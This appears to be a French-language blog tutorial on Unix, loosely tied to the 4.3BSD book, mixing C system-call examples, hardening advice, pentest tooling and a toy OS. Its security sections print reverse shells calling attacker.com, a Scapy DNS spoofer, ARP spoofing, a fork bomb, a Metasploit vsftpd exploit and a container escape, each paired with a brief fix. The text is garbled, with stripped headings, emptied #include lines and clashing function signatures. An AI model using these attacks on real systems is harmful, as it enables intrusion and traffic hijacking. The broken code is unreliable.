The Design and Implementation of the 4.3BSD UNIX Operating System – Réinventé pour 2025 par Platon-y, maître des ténèbres Unix. Forkez comme des diables, sécurisez comme des dieux ! 😈🚀
Unix, né en 1969 chez Bell Labs grâce à Ken Thompson et Dennis Ritchie, est une philosophie : simplicité, modularité, portabilité. En 1989, *4.3BSD* (ISBN 0-201-06196-1) marque l’histoire avec sockets Berkeley, FFS, et mémoire virtuelle. En mars 2025, il vit dans Linux, FreeBSD, macOS, Android, et l’IoT.
Anecdote : Le diable rouge (Phil Foglio) symbolise fork() – chaos maîtrisé et création infinie.
"Unix n’est pas juste un OS, c’est une philosophie." Né en 1969 chez Bell Labs grâce à Ken Thompson et Dennis Ritchie, Unix a révolutionné l’informatique avec trois principes diaboliquement simples :
ls | grep est plus fort qu’un monolithe.L’Héritage de 4.3BSD : En 1989, Berkeley Software Distribution (BSD) booste Unix avec :
2025 – Unix Domine Toujours : Linux et BSD trustent 92% des supercalculateurs. macOS (Darwin), Android (Linux), containers, cloud, IoT – Unix n’a pas disparu, il s’est fondu dans le futur.
Anecdote : Le diable rouge de la couverture (*Devil Book*, ISBN 0-201-06196-1) représente fork() – un clin d’œil au chaos qu’un Unix mal dompté peut libérer.
"Tout est un fichier. Même toi, t’es un processus." Unix repose sur une architecture modulaire qui déchire :
Exemple : Tracer les appels système d’un programme :
strace ls
Exemple en C – syscall write() :
#include
int main() {
write(1, "Hello Unix!\n", 12);
return 0;
}
write() envoie direct à stdout – pas de chichi, pure puissance kernel.
Voir ton shell :
echo $SHELL
Boucle infinie démoniaque :
while true; do echo "Diable Unix en boucle !"; done
Variantes : Bash (Linux), Zsh (macOS), Tcsh, KornShell, Fish – chacun son style.
Principe Unix : "Un outil, une tâche." Exemples : ls (liste), grep (cherche), awk/sed (ninjas du texte).
Trouver les fichiers modifiés depuis 7 jours :
find /home -type f -mtime -7
fork(), exec(), kill(), open().Lire un fichier en C :
#include
#include
#include
int main() {
int fd = open("devil.txt", O_RDONLY);
char buffer[100];
read(fd, buffer, 100);
printf("Contenu : %s\n", buffer);
close(fd);
return 0;
}
open() et read() – la magie brute des fichiers Unix.
"Maîtrise les commandes, domine n’importe quel système." Voici les fondamentaux pour hackers, admins, et devs :
Lister : ls -lah
Créer fichier : touch mon_fichier.txt
Créer dossier : mkdir mon_dossier
Copier : cp fichier1.txt fichier2.txt
Déplacer : mv fichier.txt /autre/dossier/
Supprimer : rm fichier.txt, rm -rf mon_dossier
Voir les processus : ps aux | grep firefox
Tuer : kill -9 <PID>
Arrière-plan : nohup mon_script.sh &
IP publique : curl ifconfig.me
Ports ouverts : netstat -tulnp
Scan serveur : nmap -sS -p 22,80,443 target.com
Avec ça, t’as les clés du royaume Unix – le reste, c’est du chaos à dompter !
"Sous Unix, tout est un processus. Même toi, t’es un PID." Les processus sont le sang du système, contrôlés par trois appels système diaboliques :
Exemple en C – Fork basique :
#include
#include
int main() {
pid_t pid = fork();
if (pid == 0) {
printf("Processus enfant : PID = %d, PPID = %d\\n", getpid(), getppid());
} else {
printf("Processus parent : PID = %d, Enfant PID = %d\\n", getpid(), pid);
}
return 0;
}
Explication : fork() duplique le processus. Retour = 0 pour l’enfant, PID de l’enfant pour le parent. Simple, mais puissant.
Exemple avec exec() et wait() :
#include
#include
int main() {
pid_t pid = fork();
if (pid == 0) execl("/bin/ls", "ls", NULL);
else wait(NULL);
return 0;
}
Zombies : Un enfant terminé mais non "enterré" par wait() devient un zombie – mort, mais pas libéré.
Exemple – Créer un zombie :
#include
#include
#include
int main() {
pid_t pid = fork();
if (pid == 0) {
printf("Enfant terminé (Zombie créé)\\n");
exit(0);
} else {
sleep(10); // Parent dort, enfant zombifié
system("ps aux | grep Z");
}
return 0;
}
Solution : wait() ou waitpid() pour nettoyer ces morts-vivants.
"Les signaux sont tes armes pour dompter ou tuer." Unix te donne le pouvoir sur les processus :
Exemple en C – Catcher un signal :
#include
#include
#include
void handle_signal(int sig) {
printf("Signal %d reçu, mais je résiste !\\n", sig);
}
int main() {
signal(SIGINT, handle_signal);
while (1) {
printf("Tente Ctrl+C...\\n");
sleep(2);
}
}
Explication : signal() intercepte SIGINT et rigole au lieu de mourir.
Depuis le shell :
ps aux | grep mon_programme
kill -9 <PID>
Pro Tip : SIGKILL est brutal – pas de cleanup. Préférer SIGTERM quand possible.
"Unix isole tout avec la mémoire virtuelle – rien ne touche la RAM directement."
Exemple en C – Utiliser mmap() :
#include
#include
#include
#include
int main() {
int fd = open("data.txt", O_RDONLY);
char *map = mmap(NULL, 100, PROT_READ, MAP_PRIVATE, fd, 0);
printf("Données mappées : %s\\n", map);
munmap(map, 100);
close(fd);
return 0;
}
Pourquoi ça tue ? mmap() est rapide et utilisé dans les exploits ROP ou buffer overflows.
Vérifier le swap :
swapon --show
"Le savoir, c’est le pouvoir – surtout pour casser."
Exemple vulnérable :
#include
void vuln() {
char buf[64];
gets(buf); // DANGER : Pas de limite !
}
int main() { vuln(); return 0; }
Exploit : Injecter un shellcode. Solution : fgets(), ASLR.
En Bash : :(){ :|:& };:
En C :
#include
int main() { while (1) fork(); }
Solution : ulimit -u 1000 pour limiter les processus.
Exemple vulnérable :
#include
#include
int main() {
if (access("/etc/shadow", R_OK) == 0) {
system("cat /etc/shadow");
}
return 0;
}
Exploit : Lien symbolique pendant l’exécution. Solution : open(O_NOFOLLOW | O_EXCL).
Conclusion : Unix est puissant, mais fragile si tu ne le maîtrises pas.
"Un processus isolé est inutile. Fais-les causer, ou crève." Les IPC (Inter-Process Communication) sont le sang qui relie les processus Unix :
Exemple en C – Pipe parent-enfant :
#include
#include
int main() {
int fd[2];
pipe(fd);
if (fork() == 0) {
close(fd[0]); // Ferme la lecture
write(fd[1], "Hello, parent !", 15);
close(fd[1]);
} else {
char buffer[20];
close(fd[1]); // Ferme l’écriture
read(fd[0], buffer, 15);
printf("Reçu : %s\\n", buffer);
close(fd[0]);
}
return 0;
}
Explication : pipe() crée un tube. L’enfant écrit, le parent lit. Simple, mais mortel.
Exemple en Shell – Pipe anonyme :
ls -l | grep ".txt"
Explication : La sortie de ls -l file direct dans grep – modularité Unix en action.
Exemple en C – Shared Memory :
#include
#include
#include
int main() {
int shmid = shmget(1234, 1024, IPC_CREAT | 0666);
char *data = (char *)shmat(shmid, NULL, 0);
sprintf(data, "Message stocké en mémoire partagée !");
printf("Données : %s\\n", data);
shmdt(data); // Détache
return 0;
}
Explication : shmget() crée un segment, shmat() l’attache. Plus rapide que les pipes, mais attention aux collisions !
"Unix et Internet sont frères de sang. Les sockets Berkeley ont tout changé."
Exemple en C – Serveur TCP minimal :
#include
#include
#include
#include
int main() {
int server_socket = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server_addr = {AF_INET, htons(8080), INADDR_ANY};
bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr));
listen(server_socket, 5);
int client_socket = accept(server_socket, NULL, NULL);
char buffer[256] = "Bienvenue sur le serveur Unix !\\n";
send(client_socket, buffer, strlen(buffer), 0);
close(client_socket);
close(server_socket);
return 0;
}
Explication : Socket sur 8080, accepte un client, envoie un message. Le pouvoir brut des réseaux Unix.
Exemple en Python – Client TCP :
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 8080))
print(s.recv(1024).decode())
s.close()
Explication : Se connecte au serveur et lit la réponse – simple, efficace.
"Les réseaux, c’est la porte aux enfers si tu sécurises pas."
Exemple – Spoofing ARP :
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.1.10 -r 192.168.1.1
Solution : arp -s pour fixer les adresses MAC/IP.
Exemple simple – Falsifier /etc/hosts :
echo "1.2.3.4 google.com" >> /etc/hosts
Exemple en Python – DNS Spoofer :
from scapy.all import *
def spoof_dns(pkt):
if pkt.haslayer(DNSQR):
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, an=DNSRR(rrname=pkt[DNSQR].qname, rdata="1.2.3.4"))
send(spoofed_pkt, verbose=0)
sniff(filter="udp port 53", prn=spoof_dns)
Solution : DNSSEC, certificats HTTPS validés.
Exemple en Bash :
nc -e /bin/sh attacker.com 4444
Exemple en Python :
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacker.com",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
Solution : Bloquer nc, surveiller les connexions sortantes.
Conclusion : IPC et réseaux ouvrent des portes – à toi de les sécuriser ou de les fracturer.
Inodes : ls -i, FHS : df -h, montage : mount /dev/sda1 /mnt.
chmod 700 ~/.ssh, chown user:group file, SUID : find / -perm -4000.
Exploit : SUID mal géré peut donner root – chmod u-s /bin/su.
"Un kernel bien configuré est une muraille contre les ténèbres." Le kernel Unix/Linux est le maître – sécurise-le, ou il te trahira :
sysctl – Config à la volée : Modifie /etc/sysctl.conf pour durcir le kernel.
Exemple – Contre les SYN Floods :
echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf
sysctl -p
Explication : Active les syncookies – bye-bye les DoS SYN.
Exemple – Désactiver ICMP (anti-scan) :
echo "net.ipv4.icmp_echo_ignore_all = 1" >> /etc/sysctl.conf
sysctl -p
Explication : Plus de réponse aux pings – invisibilité partielle.
SELinux & AppArmor – Les gardiens :
Vérifier SELinux :
sestatus
Activer le mode enforcing :
setenforce 1
Règles Apache sous SELinux :
semanage fcontext -l | grep httpd
État AppArmor :
aa-status
Désactiver un profil AppArmor :
aa-disable /etc/apparmor.d/usr.sbin.apache2
Pro Tip : SELinux en enforcing peut casser des trucs – teste en permissive d’abord.
"Moins de droits = plus de sécurité. Root est un démon à enchaîner."
Exemple – Permissions SSH :
chmod 700 ~/.ssh
chmod 400 ~/.ssh/id_rsa
Restreindre les logs :
chmod 640 /var/log/auth.log
Trouver les SUID suspects :
find / -perm -4000 -type f 2>/dev/null
Explication : Les binaires SUID (ex. /bin/su) peuvent être des failles – désactive si inutile :
chmod -s /bin/su
Sécuriser SSH :
Bloquer root :
echo "PermitRootLogin no" >> /etc/ssh/sshd_config
systemctl restart sshd
Changer le port :
sed -i 's/#Port 22/Port 2222/g' /etc/ssh/sshd_config
systemctl restart sshd
Clés SSH only :
echo "PasswordAuthentication no" >> /etc/ssh/sshd_config
systemctl restart sshd
Fail2ban contre bruteforce :
apt install fail2ban
Explication : SSH sur 2222, sans mot de passe, avec fail2ban – un mur contre les bots.
"Pas de réseau sécurisé = système à poil."
Exemple – iptables minimal :
iptables -A INPUT -p tcp --match multiport --dports 22,80,443 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -j DROP
Sauvegarder :
iptables-save > /etc/iptables.rules
Restaurer au boot :
iptables-restore < /etc/iptables.rules
Explication : Autorise SSH/HTTP/HTTPS, drop tout le reste – simple et efficace.
Suricata – IDS/IPS :
apt install suricata
suricata -c /etc/suricata/suricata.yaml -i eth0
Explication : Suricata sniffe le trafic et alerte en temps réel.
Surveillance réseau :
Ports actifs :
netstat -tulnp
Connexions live :
ss -an
Tentatives SSH :
grep "Failed password" /var/log/auth.log
Pro Tip : Combine iptables + Suricata + logs pour un réseau blindé.
"Une VM mal sécurisée est une fissure dans l’hôte physique." Les VMs sont puissantes, mais vulnérables :
Sécuriser KVM/QEMU :
Lister les VMs :
virsh list --all
Activer AppArmor :
echo "security_driver = 'apparmor'" >> /etc/libvirt/qemu.conf
systemctl restart libvirtd
Limiter CPU/RAM :
virsh setvcpus myVM 2 --config
virsh setmem myVM 4G --config
Explication : Réduit les risques de DoS interne en bridant les ressources.
Rootkits Virtuels : Les shadow attacks (ex. Blue Pill) ciblent l’hyperviseur.
Vérifier les rootkits :
apt install chkrootkit
chkrootkit
Détection suspecte :
ps aux | grep kvm
dmesg | grep "Hypervisor detected"
Solution : Intel VT-d / AMD-V pour bloquer les injections.
"Un container n’est pas une VM – sécurise-le autrement, ou il te trahira."
Hardening Docker :
Pas de root :
docker run --user 1000:1000 ubuntu bash
Désactiver capabilities :
docker run --cap-drop=ALL ubuntu
Limiter ressources :
docker run --memory="500m" --cpus="1" ubuntu
Volumes en lecture seule :
docker run -v /data:/data:ro ubuntu
Explication : Pas de root, pas d’escalade. Ressources bridées, pas de DoS. Volumes sécurisés, pas de sabotage.
Renforcer avec seccomp/AppArmor :
docker run --security-opt seccomp=default.json ubuntu
docker run --security-opt apparmor=docker-default ubuntu
Container Escape :
Exemple d’attaque via /proc :
docker run -it --privileged ubuntu bash
cd /proc/1/root
ls
Explication : --privileged donne accès à l’hôte – catastrophe.
Solution : JAMAIS utiliser --privileged.
"Un Kubernetes mal protégé est une autoroute pour hackers."
Sécuriser K8s :
Bloquer l’accès anonyme :
apiServer:
authorization-mode: RBAC
anonymous-auth: false
Limiter les pods :
kind: PodSecurityPolicy
spec:
privileged: false
allowPrivilegeEscalation: false
runAsUser:
rule: MustRunAsNonRoot
Firewall API :
iptables -A INPUT -p tcp --dport 6443 -s 192.168.1.0/24 -j ACCEPT
Explication : RBAC strict, pas de root, API restreinte – un cluster blindé.
Scanner avec kube-bench :
kube-bench run
"Le cloud, c’est un datacenter avec des failles en bonus."
Sécuriser AWS IAM :
Utilisateur restreint :
aws iam create-user --user-name sec_user
aws iam attach-user-policy --user-name sec_user --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess
Lister les clés :
aws iam list-access-keys
Désactiver une clé :
aws iam update-access-key --access-key-id AKIA123456 --status Inactive
Scanner la sécurité :
aws configservice get-compliance-details-by-resource
Explication : Droits limités, clés surveillées, MFA obligatoire – cloud sous contrôle.
"Teste tes systèmes jusqu’à ce qu’ils crient – éthique, mais sans pitié."
Nmap – Scan avancé :
Ports ouverts :
nmap -sS -sV -p- 192.168.1.10
Vulnérabilités connues :
nmap --script vuln 192.168.1.10
Réseau entier :
nmap -T4 -sS 192.168.1.0/24
Explication : -sS (furtif), -sV (versions), --script vuln (failles connues) – un ninja du scan.
Metasploit – Exploiter :
msfconsole
Chercher un exploit :
search vsftpd
Exploiter :
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.1.10
exploit
Résultat : Session ouverte si vulnérable – un shell dans la poche.
Nikto – Web Vulns :
nikto -h http://192.168.1.10
Exemple d’output :
+ Server: Apache/2.4.18
+ OSVDB-3092: Apache mod_negotiation enabled
+ OSVDB-3233: /backup/: Directory indexing enabled
+ OSVDB-5666: Default account found: admin/admin
Explication : Failles exploitables – mod_negotiation pour lire des fichiers, /backup/ sensible, admin/admin à cracker.
"Vois l’attaquant avant qu’il te voie – et frappe en retour."
Suricata – IDS :
apt install suricata
suricata -c /etc/suricata/suricata.yaml -i eth0
Voir les logs :
cat /var/log/suricata/fast.log
Exemple :
[**] [1:2000023] SQL Injection Attempt [**]
[Classification: Web Application Attack] [Priority: 1]
Timestamp: 2025-03-10 12:00:00
OSSEC – Logs :
apt install ossec-hids
ossec-logtest
Exemple alerte :
Rule: 5712 - SSH Bruteforce detected
Attack from: 192.168.1.20
Attempts: 15
Explication : OSSEC bannit automatiquement les bruteforceurs.
ELK – Visualisation :
apt install elasticsearch logstash kibana
systemctl start elasticsearch
systemctl start logstash
systemctl start kibana
Dashboard :
http://localhost:5601
Explication : ELK centralise et affiche les attaques en live.
"Reste un fantôme – invisible, intouchable."
Tor – Navigation :
apt install tor
tor
Via Tor :
proxychains firefox
ProxyChains – Masquer IP :
Configurer Tor dans /etc/proxychains.conf :
socks5 127.0.0.1 9050
Scan anonyme :
proxychains nmap -sS 192.168.1.10
Explication : Ton IP réelle disparaît – la cible ne voit rien.
Simule une explosion de fork() en JS ou en Python (sandboxé).
🔥 Bienvenue dans l’enfer du bas-niveau : Si tu veux comprendre Unix jusqu’au noyau, autant coder un mini OS from scratch.
task switching).write(), read(), fork()).ls, cat, ps, kill).pipes, sockets).🔹 Un **Bootloader** en **Assembly x86** qui démarre notre OS.
[BITS 16] ; Mode 16-bit (BIOS)
[ORG 0x7C00] ; Adresse de chargement par le BIOS
mov ah, 0x0E ; Mode texte
mov al, 'D' ; Premier caractère "D"
int 0x10 ; Affichage
jmp $ ; Boucle infinie
times 510-($-$$) db 0
dw 0xAA55 ; Signature boot sector
📌 Compilation et test avec QEMU :
nasm -f bin boot.s -o boot.bin
qemu-system-x86_64 -drive format=raw,file=boot.bin
🎯 On passe du mode réel au mode protégé (32-bit) et affichons du texte.
void kernel_main() {
char *video_memory = (char *)0xB8000;
video_memory[0] = 'D';
video_memory[1] = 0x07; // Couleur
while (1); // Boucle infinie
}
📌 Compilation & Test avec QEMU :
gcc -ffreestanding -c kernel.c -o kernel.o
ld -Ttext 0x1000 -o kernel.bin kernel.o --oformat binary
qemu-system-x86_64 -kernel kernel.bin
🎯 Implémentation des appels système Unix-like.
// syscalls.c
void sys_write(char *str) {
char *video_memory = (char *)0xB8000;
while (*str) {
*video_memory++ = *str++;
*video_memory++ = 0x07;
}
}
📌 **Test du syscall dans le Kernel** :
void kernel_main() {
sys_write("Hello, Unix!");
while (1);
}
🎯 Un premier shell rudimentaire.
// shell.c
void shell() {
sys_write("\nDevilOS Shell > ");
while (1) {
// Commandes à ajouter
}
}
📌 **Intégration dans le Kernel** :
void kernel_main() {
sys_write("DevilOS Chargé !\n");
shell();
}
🎯 Gestion de la communication entre processus.
// ipc.c
char pipe_buffer[128];
void sys_pipe_write(char *data) {
int i = 0;
while (data[i] && i < 128) {
pipe_buffer[i] = data[i];
i++;
}
}
char *sys_pipe_read() {
return pipe_buffer;
}
📌 **Test de l’IPC dans le shell** :
void shell() {
sys_write("\nDevilOS Shell > ");
sys_pipe_write("Hello Pipe!");
sys_write(sys_pipe_read());
}
🎯 Implémentation d’un système de fichiers minimaliste.
// fs.c
#define FILE_MAX 16
typedef struct {
char name[32];
char data[256];
int size;
} File;
File files[FILE_MAX];
int sys_open(char *name) {
for (int i = 0; i < FILE_MAX; i++) {
if (strcmp(files[i].name, name) == 0) return i;
}
return -1;
}
int sys_write(int fd, char *data, int size) {
if (fd < 0 || fd >= FILE_MAX) return -1;
strncpy(files[fd].data, data, size);
files[fd].size = size;
return size;
}
int sys_read(int fd, char *buffer, int size) {
if (fd < 0 || fd >= FILE_MAX) return -1;
strncpy(buffer, files[fd].data, size);
return size;
}
📌 **Test du filesystem dans le shell** :
void shell() {
sys_write(sys_open("test.txt"), "Ceci est un fichier.", 20);
char buffer[256];
sys_read(sys_open("test.txt"), buffer, 20);
sys_write(buffer);
}
🎯 Ajout de sockets TCP pour la communication réseau.
// network.c
#include "syscalls.h"
typedef struct {
int id;
char buffer[512];
} Socket;
Socket sockets[16];
int sys_socket() {
for (int i = 0; i < 16; i++) {
if (sockets[i].id == 0) {
sockets[i].id = i + 1;
return i;
}
}
return -1;
}
int sys_send(int sock, char *data, int size) {
if (sock < 0 || sock >= 16) return -1;
strncpy(sockets[sock].buffer, data, size);
return size;
}
int sys_recv(int sock, char *buffer, int size) {
if (sock < 0 || sock >= 16) return -1;
strncpy(buffer, sockets[sock].buffer, size);
return size;
}
📌 **Test du réseau avec une connexion simple** :
void shell() {
int sock = sys_socket();
sys_send(sock, "Hello, réseau !", 16);
char buffer[512];
sys_recv(sock, buffer, 16);
sys_write(buffer);
}
🎯 Ajout de mémoire virtuelle avec mmap().
// memory.c
#define PAGE_SIZE 4096
#define MEM_SIZE 65536
char memory[MEM_SIZE];
void *sys_mmap(int size) {
static int offset = 0;
if (offset + size > MEM_SIZE) return (void*)-1;
void *addr = &memory[offset];
offset += size;
return addr;
}
📌 **Test de l’allocation mémoire** :
void shell() {
char *ptr = sys_mmap(1024);
sys_write(ptr, "Mémoire allouée !", 18);
sys_write(ptr);
}
💀 On a réussi à construire un mini OS Unix-like avec :